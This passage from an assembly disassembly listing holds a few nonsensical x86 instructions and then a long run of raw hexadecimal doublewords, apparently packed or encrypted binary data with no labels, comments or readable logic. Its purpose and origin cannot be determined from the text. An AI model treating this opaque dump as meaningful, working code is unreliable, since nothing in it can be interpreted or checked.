		add	ebp, ebx
		xchg	eax, esp
		add	[edx-6Bh], bh
		pop	es
		mov	ss, word ptr [edx-73h]
		pop	esp
		add	dword ptr [eax], 0EA9CEC28h
		push	7F196626h
		dec	ebx
		add	[edi+edi*8+32h], ah
		xor	ecx, [ecx+30DA22h]
; ---------------------------------------------------------------------------
		db 8Fh,	28h, 68h
		dd 3D800301h, 65700041h, 230A7E16h, 5D000713h, 6F8861EFh
		dd 0F8729EB5h, 1214008Ch, 0CA0FF868h, 0A30718CCh, 3D832D88h
		dd 841A0650h, 0EFB8002Fh, 5159D85h, 0C900330Eh,	0F482C080h
		dd 173D2A40h, 0DAF01h, 2770B841h, 7300BE2Ch, 847C62C8h
		dd 52805C6h, 0EA0014Ah,	8CF5005Ah, 6D68100Ah, 87299707h
		dd 0C3800F51h, 3BAF3E9h, 0E5EB14FEh, 5DF82EA0h,	53001BC4h
		dd 86C8E74Ch, 3CC840Fh,	21D2A4D5h, 0C7971A4Ah, 0E068815Eh
		dd 1291F0A1h, 0E74C29B0h, 0B24D0360h, 0D825F477h, 423C3Ah
		dd 0A63D51D5h, 0E4B52EB3h, 39FE601h, 61B88993h,	117FDE4h
		dd 153E3238h, 0E0535E57h, 0E9007505h, 0DA77CA51h, 1F3B1A94h
		dd 80290A52h, 5BDBC2E4h, 537CE080h, 0A17C051Ch,	83390980h
		dd 0B1528h, 480213DFh, 0E4F98108h, 7F27AD0Eh, 176D0038h
		dd 0B79C985h, 0C183031Ch, 240968Eh, 0CD97D2D5h,	0EBF48100h
		dd 51174A24h, 18460FDAh, 0F560F02Ch, 0D6780CBFh, 0AE158203h
		dd 752D709h, 938C9D66h,	4AB590EBh, 0C100ED80h, 0EE030772h
		dd 70FCF0Ch, 8112C216h,	7518F0FAh, 10009EE8h, 31185B9h
		dd 0A08E534Fh, 1CA40BEh, 97F0E983h, 0C401761Ch,	7C0010FAh
		dd 703C70Fh, 8B3034h, 2085D14Ch, 28A0D80Ch, 0F37C0400h
		dd 0C981428Ah, 808703C8h, 0B260889h, 5FF1490h, 87B81C3Fh
		dd 4EA83D0h, 0FCE2ABF0h, 7FE40186h, 15011217h, 11EB6020h
		dd 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh, 2C2B5F02h,	13010D84h
		dd 4A522A0Bh, 0A7701C0Ah, 4DB8C2h, 4D08B1FEh, 0E1339048h
		dd 9149200h, 31742506h,	47F2Ah,	0A154B0DAh, 0AE802B64h
		dd 1133C800h, 0B2FEC2F7h, 20AC1EE2h, 1F643EBh, 8AB8FAC7h
		dd 72E0A746h, 0C62B0800h, 58EB703Bh, 8806001Eh,	2B64FE8h
		dd 0DE00030Bh, 64455509h, 1FD8963Dh, 7A00733h, 20670AA9h
		dd 3E5A250Bh, 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h
		dd 4600FC32h, 8316A008h, 0FE7A23h, 0B02CC74Bh, 0B20994F8h
		dd 13B34503h, 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h
		dd 873D7FF3h, 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h
		dd 91925304h, 0C37AC466h, 25F80F47h, 8D00EFA8h,	1157E746h
		dd 822CF4h, 0B979EDD6h,	0D5C6301Eh, 0B5002B79h,	0AA6BE342h
		dd 705AF813h, 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h
		dd 0F82CEF9Eh, 1B00060h, 489C5A59h, 30006BE9h, 7389DFA0h
		dd 2C0239BAh, 0D3C603h,	14095C1h, 990EFE81h, 0A137984Eh
		dd 359AD285h, 0FAC2F4h,	4D2E4C9Bh, 0A5F49009h, 4410BC00h
		dd 1D5C890Dh, 25B0013h,	3AEB1B87h, 431FE369h, 0C3001296h
		dd 0E6BF5A92h, 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch
		dd 84EF0017h, 1CCD1D33h, 0AE2E4BB3h, 1FC20057h,	0EA7E1180h
		dd 8E099200h, 836252FDh, 0EB210307h, 1441A12Bh,	0B930C8C0h
		dd 84421500h, 7448C51h,	591913CAh, 0A8870EAFh, 78962640h
		dd 6B050969h, 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h
		dd 8CE30835h, 468240FFh, 521D7C3Bh, 0D8400712h,	5FE82606h
		dd 297B0099h, 4470119h,	9D030320h, 7449F30Bh, 0C63FC824h
		dd 0E8170781h, 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h
		dd 5EDF6Dh, 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h
		dd 0C96C0094h, 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h
		dd 0D7396C4h, 22075CAh,	73A905Ch, 0BEC6490Ch, 8DCC5EF0h
		dd 2E527FE1h, 1C2FBAAh,	94B60CAh, 2E8FC882h, 8E90A23Bh
		dd 0A03D02F8h, 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h
		dd 0EAC55E03h, 98CDA984h, 0BF1620h, 0BD0B8291h,	0D4E19B80h
		dd 775C5375h, 0B184007Fh, 881F1728h, 4C7E006Ch,	19920B7Bh
		dd 7F1F31D7h, 0EBC38E43h, 90281F42h, 79F4BB74h,	16630026h
		dd 67D10DE4h, 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah
		dd 0F6D87AE9h, 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h
		dd 4538153Dh, 0C400B3FEh, 288C3501h, 7AD9B1D6h,	0F30A024Bh
		dd 4432CEEEh, 4C515160h, 3E66F51Dh, 0B0C0BC1Dh,	5658B61h
		dd 0D33C0074h, 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch
		dd 73D69DAh, 15CAD33h, 4E0E6A00h, 645D4B7Eh, 559500D4h
		dd 172DB68Dh, 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh
		dd 0C9F4D5FAh, 2DE07B62h, 26006920h, 17210231h,	24C3838Eh
		dd 53EEDCh, 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh
		dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h
		dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh
		dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh
		dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh
		dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh
		dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h
		dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h,	88002449h
		dd 643CA351h, 7522CFAh,	851F8D28h, 0F0671016h, 6A58BDD8h
		dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h,	1E0051F1h
		dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h
		dd 80C125C3h, 53A92B5h,	7CED0D8h, 45C50154h, 0AAE9708Bh
		dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah
		dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h
		dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh
		dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h
		dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h
		dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h
		dd 459F8Bh, 0D332988Eh,	25C688A2h, 3DA16900h, 0A521A636h
		dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h
		dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h,	3B01C8C7h
		dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h
		dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h
		dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h
		dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h
		dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch,	84AEEADAh
		dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h
		dd 28AA18F2h, 6034214h,	0A819C735h, 2C16B050h, 0C1071CD2h
		dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h
		dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h
		dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h
		dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h,	0C40029F6h
		dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh
		dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h
		dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh
		dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h
		dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h
		dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h,	3821939Ch
		dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h
		dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h
		dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h
		dd 0F9D8E924h
		dd 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h,	983D00E7h
		dd 0AF0E026h, 0AA00040Dh, 5A03AFB0h, 0D105FFh, 0ED808A48h
		dd 0B79BE40h, 4677E800h, 7AF68B81h, 0E9100008h,	0CB0126C3h
		dd 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh, 0EDEDDDCh
		dd 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h, 0C584B883h
		dd 5ABC3Eh, 0C031B244h,	154C966h, 428F1E50h, 0DD105180h
		dd 8BD2F80Fh, 110388F8h, 6905489h, 1F91D0C8h, 0C65F00CBh
		dd 3916D7D8h, 770009F7h, 602F7413h, 2A7829h, 0F8A5F33Fh
		dd 3E1831Dh, 18A4D207h,	0E177431h, 7C3AFC30h, 1950000Fh
		dd 1AFD5311h, 6600CB58h, 6941C706h, 728143FCh, 4C4000Ch
		dd 5086092Fh, 0EB391290h, 8A0FFF01h, 0E0D14003h, 0F576203Ch
		dd 3B800007h, 530B7522h, 0CE2017Bh, 0C50558h, 34E6EB02h
		dd 4FE255Fh, 1B1CC7FAh,	88508043h, 62070414h, 84135640h
		dd 0DDD21B1h, 2E58F0D8h, 0ACD2C3h, 8028D818h, 9C7F3D07h
		dd 0CD7C8B00h, 20CE5F61h, 42B700F5h, 14D66A27h,	800EE25h
		dd 0C2F81CCBh, 788977h,	681E34E0h, 2C0B055Dh, 92148D03h
		dd 0C022B050h, 0C88B88h, 3AC677CAh, 0EE1EEB8Eh,	3513F300h
		dd 0DD3DB55Bh, 0B460216h, 0F4E4D268h, 4B0F5040h, 0D5E9EB0Fh
		dd 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh, 73410C72h,	0B7E00F67h
		dd 6BF04500h, 3663CC0h,	0D2F23EEEh, 40401E9Ch, 1F4558Bh
		dd 0F60169D0h, 178A38E8h, 0E0DE1964h, 483C0533h, 0E500384Bh
		dd 8378825Dh, 0DF0108ECh, 589B8EC0h, 6CC85A5Fh,	5B0C001Eh
		dd 2DA31BD9h, 0FD0092A4h, 33285CDFh, 13FA2C16h,	1CA959h
		dd 0AB81C735h, 0D90F078Ah, 67A2BBD6h, 0D0009816h, 381272h
		dd 0E7F77C8h, 88AAD160h, 1470700h, 0DE7AD748h, 2AC80481h
		dd 80F7760Fh, 0E80CEB87h, 0C949B500h, 0A668A64h, 62410068h
		dd 0C131A990h, 0E01F94E9h, 55C02203h, 51082027h, 0F6CE0BF4h
		dd 0B40013EEh, 80A61C26h, 0D9391A03h, 0F84E4575h, 23DB815h
		dd 5A73E1B0h, 92801BCBh, 0C21CE5DBh, 454EDE00h,	0D606EBE2h
		dd 3A1672E6h, 0F0FE5Eh,	8A367403h, 750A3A08h, 54306700h
		dd 1489313h, 9F4A00D3h,	401625B6h, 83780208h, 311AB200h
		dd 0B3B9D7D4h, 107A0138h, 0CF3FDA3h, 80FAB93Dh,	21D64EBh
		dd 903119h, 0CD88BB51h,	10E08650h, 0CD46600h, 83184CB2h
		dd 0ABF33B09h, 86311200h, 24405FAAh, 0F156900h,	8840541h
		dd 89B202C7h, 0E2F70BA2h, 0B04C3AE0h, 1452480Eh, 0CF26403Eh
		dd 99036Fh, 9229D031h, 0F2FB5AB9h, 190DB00h, 96F1F728h
		dd 0F8300048h, 0C7431C17h, 8003BE03h, 0C6057DF6h, 0FA2DE804h
		dd 1F170088h, 0F9018B47h, 0FFE68114h, 844F852Eh, 2307B90Eh
		dd 7B97D929h, 0B0A3000Ah, 8AD20F20h, 12001C44h,	754B2B42h
		dd 0AD41F6h, 51B82318h,	0E9968F82h, 2F9CB300h, 0CC2CAC33h
		dd 94CE1D50h, 0C6634773h, 20190BFh, 1E018A0Ch, 70FB8046h
		dd 0B5CCF8D7h, 2D0E03CEh, 2B0A69ECh, 248166D0h,	0FE78080Eh
		dd 0FD58C061h, 0F30025Ch, 28ACCBE2h, 26844FE1h,	623CC4Ah
		dd 4EB2000h, 0EE347F0Dh, 24C02630h, 392C0093h, 3F28E8F8h
		dd 1C048D0Fh, 0D89BC001h, 1340555h, 0CDFEE675h,	0F8D4E486h
		dd 5905127Ch, 3289F631h, 90461780h, 7703486Ah, 78F07E00h
		dd 0DE29D9EEh, 0FE00EC71h, 0E451C56Eh, 48ACBFBCh, 32008E1Fh
		dd 92DF7430h, 3007261h,	5420A2CAh, 0EA0B7643h, 1F110010h
		dd 4CD07705h, 0BF010AC3h, 565A90C9h, 0D5C05D04h, 1A97DEBh
		dd 0FAFFB150h, 0C0427D2Ah, 70074EDh, 0FE288840h, 7512C9h
		dd 3C1E5AF2h, 6C430253h, 7301FA00h, 90517497h, 8B440035h
		dd 0ECF85442h, 52005D36h, 195A8C68h, 0FE570926h, 0EB84Ah
		dd 0FF1250A9h, 0D32BF03h, 1B48AC04h, 35C0C69Fh,	0BFC5C14h
		dd 8C7C3D74h, 4C08F000h, 2F00B859h, 8304D250h, 2E01F835h
		dd 0CD290Eh, 900B1B22h,	0AC0325FFh, 338B4C79h, 6350E0DBh
		dd 50C741Ah, 1C753E07h,	701D802Ah, 91009225h, 0D41A1B0h
		dd 3F29845h, 161F4C22h,	0A09801B3h, 0F4004028h,	57037B0h
		dd 0B847604Fh, 8D736Fh,	6A6250FCh, 0F6386886h, 653A652Eh
		dd 6BE84700h, 378323Fh,	5511E04Dh, 2DA06168h, 3000FF64h
		dd 1B2089CCh, 0F445C7h,	0EE608691h, 0F808CB50h,	69C52C00h
		dd 0AC8B8954h, 34E683h,	8AEAA267h, 63C41618h, 0E0985200h
		dd 0A16628EFh, 25EC0071h, 97FFC02Ch, 8700F89Fh,	0C33FE283h
		dd 0EFBC20Bh, 9C2A59A3h, 4F53003Ch, 41575446h, 450052E0h
		dd 726F425Ch, 4C3C616Ch, 44003C6Eh, 6870C765h, 5200F169h
		dd 46C04C54h, 550350h, 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh
		dd 12C3AB7h, 60D7C7ACh,	2031D470h, 0E1D8A20h, 0AE408D41h
		dd 93AECFAh, 3FE800D8h,	58C2F748h, 1BEAE913h, 0DE747703h
		dd 90751ED3h, 77BBC36h,	0DC4A76FAh, 0E8075001h,	0AE1E2D37h
		dd 0F6479C45h, 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h
		dd 0D3009AB0h, 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h
		dd 0E03E307Eh, 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh
		dd 51318001h, 6C034BFCh, 0ABD7CB02h, 41D8B88Bh,	120FADAh
		dd 65580DDBh, 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h
		dd 5B0D0351h, 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh
		dd 1C006F2Eh, 3EA6734Ch, 6BE00F6h, 0C827B2Ch, 207F3834h
		dd 75493700h, 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h
		dd 407578F4h, 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch
		dd 0D1C247Dh, 510039D3h, 6602C783h, 0F8AF00F2h,	6459550Ah
		dd 0C3007F8Bh, 290B0358h, 35CF0C8h, 96F7FC47h, 44C0B891h
		dd 1126D480h, 2401303Ch, 1A1C8F53h, 0F69009E8h,	0A5F0217h
		dd 1886C0DEh, 67E8E740h, 58FCA912h, 0D905A300h,	0E1FF5Bh
		dd 0A5089F0Eh, 0E802F061h, 53515200h, 818FF689h, 0F4500084h
		dd 1058E012h, 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh
		dd 0CA43B8Eh, 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh
		dd 90C1300h, 22000E74h,	4950811Dh, 23581Eh, 47257531h
		dd 8BF09821h, 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h
		dd 0EF00D4A3h, 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h
		dd 0C26A1000h, 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh
		dd 0F516DB2Ch, 6A546200h, 3423D02h, 0A30C92E4h,	99D99808h
		dd 147670D1h, 0A04A200h, 0F09C550h, 0E573008Ch,	8B547FE9h
		dd 77EA064h, 12A45300h,	0C9967C9Eh, 418900F0h, 39800103h
		dd 8A983DE9h, 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h
		dd 647CD7E0h, 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h
		dd 50280A5Ah, 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh
		dd 53E31E88h, 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h
		dd 1D814543h, 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh
		dd 0A41B5Fh, 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh
		dd 8B2507E6h, 45BC5E9h,	0CE898094h, 1A00EFFAh, 5A37740Eh
		dd 3FE0A5ACh, 76808B08h, 163B2729h, 0B4002077h,	0C2A15051h
		dd 1365AEB3h, 0EE2439h,	0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h
		dd 3B920BBAh, 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h
		dd 74F1513Dh, 48E0006Fh, 53020B04h, 0E202DB31h,	1B1A614Eh
		dd 0A54161E6h
		dd 0FA1EBB60h, 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h
		dd 0B0FF0EE7h, 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh
		dd 512D9Fh, 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h
		dd 0E891127h, 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h
		dd 4586EC8h, 26911F74h,	52B28044h, 75001801h, 0EAE90A1Ah
		dd 9E62B9h, 2C444D42h, 2189084Eh, 67017F70h, 718D0559h
		dd 0C5EC3D09h, 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h
		dd 48041h, 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h
		dd 189093Eh, 610BE842h,	0C48C74CEh, 695CDC7Fh, 0D075002Ch
		dd 4B08C683h, 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h
		dd 0E992F88Dh, 946D0E1Ch, 2BEE5923h, 449E21A0h,	27482214h
		dd 6CF11E42h, 0F238689h, 56986136h, 0A3E88844h,	1E5BEA30h
		dd 8F92899Ah, 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h
		dd 87BE1h, 2480A48Ch, 42C78F54h, 31288500h, 8BDFA3ECh
		dd 2208306Ah, 5684DBDEh, 2489D100h, 28603949h, 54050F5Ah
		dd 53A05755h, 9507C888h, 444E4200h, 52E9F62Fh, 8654008Bh
		dd 6AA0C730h, 83018897h, 0A427BEAh, 0D471B089h,	60EC7931h
		dd 39FD0004h, 1EA80DF0h, 9200A4B5h, 0C9C543EAh,	3BCC031h
		dd 1C0648DFh, 12D85910h, 28001189h, 49A78D6Fh, 473A6Ah
		dd 0C664955Ah, 0C49674B6h, 5442E00h, 0D103E85Dh, 0E2FF00C7h
		dd 4D588038h, 1500CD5Eh, 5034C056h, 0C2BE02h, 4AB80C52h
		dd 3F1FFC5h, 3854491Ch,	86E97282h, 92836048h, 0C0070020h
		dd 5C742C7Fh, 0F018E95h, 57221509h, 20C8052Dh, 0BF8700DDh
		dd 483D1ECFh, 0EB3F4E80h, 84713060h, 83073Fh, 369429E8h
		dd 52E130E7h, 43963D00h, 3814112Ah, 93762Dh, 13462E33h
		dd 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h, 77E968Ch,	0B02C1D26h
		dd 1E2A40C8h, 781C3DC9h, 229DCD7Ch, 6567CF0Fh, 87C71A21h
		dd 0CE471627h, 0D8871267h, 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h
		dd 16272EFCh, 8D900536h, 808E1D8Bh, 6C01E3E8h, 400C25Dh
		dd 0F3942467h, 402993h,	2690F1FAh, 7074503Dh, 0CE00A27Bh
		dd 99CB9238h, 1D90836h,	72F65232h, 0EC3B8189h, 300053D0h
		dd 1817438Fh, 12381D74h, 0BCFB82h, 0B1D889ABh, 0B600EF84h
		dd 4BFA4419h, 74E1Fh, 46A3120Dh, 945C3749h, 0D9B8850Fh
		dd 14510204h, 6DBB878Ah, 124F60F0h, 0AA090752h,	505B290Ah
		dd 94ED2677h, 68F6E300h, 0A005F8F5h, 0D81A01B5h, 0BAC804Ah
		dd 0C8B63047h, 38657502h, 0C02E536Ch, 7F9836Eh,	39A174FFh
		dd 9DF5F001h, 0A4008922h, 68A2E984h, 0D49CBFh, 3E434B93h
		dd 57E148C2h, 70E80C00h, 0E9A79504h, 505800BEh,	7E1DDB85h
		dd 0F0004B12h, 4DE4433h, 9749D4h, 7F24D031h, 0C4BA3DEEh
		dd 0B214EB00h, 73E809BDh, 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh
		dd 0A1856000h, 0CFDFE8A4h, 30C3034Bh, 78A2DB33h, 341E5E90h
		dd 3B121400h, 1A057EF3h, 0C1DF0004h, 49A81D3Eh,	28EEB127h
		dd 4AEC7F00h, 1151E360h, 9CBE00BAh, 0C47D8D04h,	0A790E9B9h
		dd 8FA5F301h, 2164BC05h, 1429B20h, 10B02D89h, 0EF84B41Dh
		dd 1508A4F8h, 8D87AC00h, 0DF5C44Dh, 9377D17h, 0FC7D8397h
		dd 35B5A100h, 6792008h,	0C92BE803h, 880C45FAh, 1CC0A240h
		dd 4359481Dh, 0C4151BB8h, 0FF03E990h, 2F967100h, 2836156h
		dd 417E1D05h, 3D2580EEh, 7594C81Ch, 0C6180D1Fh,	1132481h
		dd 26F95AD9h, 4CBB20h, 0CB222C48h, 95D3E834h, 0A345C501h
		dd 18247444h, 3C9F30h, 160646B2h, 6B202778h, 0F5B93805h
		dd 2080EE93h, 14E1C3Ch,	124A892h, 0E832A9C8h, 0EC0E040Ch
		dd 0C1D210ACh, 0BBBF30C7h, 0E6803CB9h, 115ABE5Ch, 13001280h
		dd 0F294834Bh, 383C22h,	334AE877h, 30BB354h, 0D0299200h
		dd 595C44BBh, 1B98FFh, 0E68A0FE2h, 57C01750h, 63E8C102h
		dd 80B4ED9Ah, 46EA32E3h, 23F011h, 77FF0C1Dh, 0F820061Ch
		dd 3E933700h, 5D2656A4h, 73870015h, 19D8F70Fh, 0C9074045h
		dd 32BBB684h, 3885609Eh, 1806BEh, 250B34BFh, 0CE587B80h
		dd 83161C0Fh, 0BEE0203Fh, 5F8917h, 6F3787D0h, 0FBC2E803h
		dd 75231200h, 381A08EFh, 47743E40h, 25581383h, 0EC88A34h
		dd 0BA001685h, 0B88C4228h, 1FA27214h, 803E8FAFh, 0EB0B12ACh
		dd 0CF01C62h, 75226000h, 6ECF7013h, 0B4150048h,	0E186926h
		dd 0F212163Eh, 0D60029ADh, 0A750204h, 0F64C28BEh, 268907FEh
		dd 0F0080C43h, 7622012Bh, 503EB2F8h, 0AA18005Fh, 6DFBE8C0h
		dd 192E1F37h, 3B0079FDh, 587404CCh, 22007F06h, 0A64BEAEBh
		dd 75482Dh, 285314C2h, 0C01292B7h, 980D1500h, 0A03B831Ah
		dd 66F0041h, 8BCBC660h,	560003C1h, 0FB6C097Bh, 7A5E0438h
		dd 508C00EBh, 6974726Fh, 73036EA0h, 3D437920h, 3FFAA070h
		dd 7A680067h, 2963281Fh, 39003181h, 0D32C3338h,	1CCCBAFh
		dd 3718B76Dh, 60918990h, 9707E9FBh, 238FF5ADh, 0B75C7C90h
		dd 8B8400E3h, 1C2ED110h, 5138C2C7h, 0F84A072Dh,	0F0D07C49h
		dd 0EFF6Ah, 8D5007CBh, 57E8D242h, 6B0068F8h, 60C47858h
		dd 2C8BD618h, 275513h, 0EC80342h, 29E40865h, 4EEAB000h
		dd 6CA3DAFCh, 24510030h, 1A7F4145h, 1700F5B4h, 93750542h
		dd 0FAFE227h, 13481864h, 0F65A00DFh, 0B78C97EBh, 0A1876E00h
		dd 4C4B147Ch, 21440095h, 2A7E150Ah, 203B3BF9h, 501C0054h
		dd 95F8375h, 10180026h,	895A081Fh, 6FF4FC97h, 1768F803h
		dd 0F86B04C6h, 38BA546h, 25C0E390h, 0F8E1C1D6h,	0FEF9E458h
		dd 96BCC700h, 7A980914h, 95F00053h, 3277E45Ch, 0F0026CFh
		dd 0EC96573Bh, 0F38597h, 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h
		dd 8223C74Ah, 816700EBh, 8B7854FBh, 64002C7Dh, 9708E0BEh
		dd 40CFC90h, 55532850h,	7B40C010h, 0A90086F1h, 0D7E27B8h
		dd 0C70441h, 323ACEE9h,	0ECD93306h, 6098B57Bh, 0C5204401h
		dd 16225498h, 293160h, 80CA4607h, 0C09CB8B4h, 89145200h
		dd 95D1B9E2h, 175B032Ch, 41151268h, 3A522198h, 83D50A3Dh
		dd 1945132Fh, 0FD02C0E2h, 0E03E60Bh, 695E3A62h,	0ECE8EB01h
		dd 1CF1306Ah, 295AD100h, 2712E5E4h, 41240065h, 66522D30h
		dd 620C9B3Bh, 70340A20h, 82C30E0Dh, 6AF280Eh, 0EB081941h
		dd 496892E4h, 763A8A00h, 7621D725h, 3C901FC2h, 4252C38Ah
		dd 57C0014Ah, 891D5150h, 0F20720D7h, 3B0AE5Ch, 158D1F7h
		dd 5F9AC101h, 70A41992h, 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh
		dd 8B770103h, 35C9FC7Bh, 0DC8E43Fh, 0E2840F00h,	8A2734FDh
		dd 798B000Eh, 85B97EFCh, 391EFA01h, 77EC02CEh, 7A4A2C00h
		dd 4E0E41h, 2413269Ah, 0F5A48F46h, 6217AA00h, 83AB42F7h
		dd 0AF3D07D0h, 91618828h, 213BA044h, 517460AFh,	68BC0800h
		dd 0F9233450h, 0E94F00C0h, 0ED42933h, 0D3003958h, 250CE16h
		dd 3FC5Fh, 49756E46h, 0D809DFC7h, 0B34B8B00h, 0A2FAF277h
		dd 53030063h, 0A5580F91h, 5C004320h, 0F84F33F7h, 48A48CFEh
		dd 0CA000271h, 0E6A0BE9h, 5400AE51h, 0A650528Dh, 8BED40h
		dd 104F944Ch, 41112FD7h, 714AFC00h, 305A56CFh, 8BC60007h
		dd 6F149C44h, 0B800F5D3h, 5501D834h, 0D054CEh, 7E2AE975h
		dd 0ACC8EF82h, 5AC44A00h, 248D5801h, 0E0FD0094h, 3E6CD92Ah
		dd 3900F145h, 8FC709D0h, 3EA5CB29h, 8200687Fh, 0AE1C8B6Bh
		dd 0C05857DCh, 277007Ch
		dd 5213C201h, 0B4EA00C1h, 1FE40E4Fh, 4A145888h,	2C954E89h
		dd 4003A310h, 0E0E6C7C6h, 7F786h, 0FE5A6FBEh, 2C2250E0h
		dd 41813800h, 34761702h, 0E3A1E18h, 0E3678410h,	0CA7DC0B8h
		dd 300006E1h, 0C0012773h, 7F23EB2Ah, 0D4FA61h, 151307D6h
		dd 0CF62B25Ah, 0A4D0E301h, 2A590ACh, 1F850D8h, 0B078C442h
		dd 60119743h, 8001DB44h, 0FB3AF9B8h, 2822C77h, 0FA34A86h
		dd 390225D0h, 13A424DBh, 9D4AC190h, 0C51FD868h,	80CC1EE7h
		dd 36D0895Bh, 7E008BF8h, 0FC58252Dh, 70261BC0h,	27C754Ah
		dd 1F7DDA39h, 5068D329h, 9E000519h, 0F416117Fh,	6394C9h
		dd 313A7D25h, 89E50AD2h, 2A93D900h, 126CB113h, 9ED50F5Bh
		dd 1FF6BC8Bh, 0C0575F87h, 0FC304086h, 7C004E3Fh, 7D123D4Ch
		dd 430126h, 0F129227Eh,	2D9CFE9h, 3F42BC3Eh, 8DF200F9h
		dd 7F4D3A04h, 52FB0724h, 10FAF0A1h, 0DF4C4762h,	4087A900h
		dd 70317992h, 4F8B0088h, 8334F1FCh, 7803044Ah, 46068A1Bh
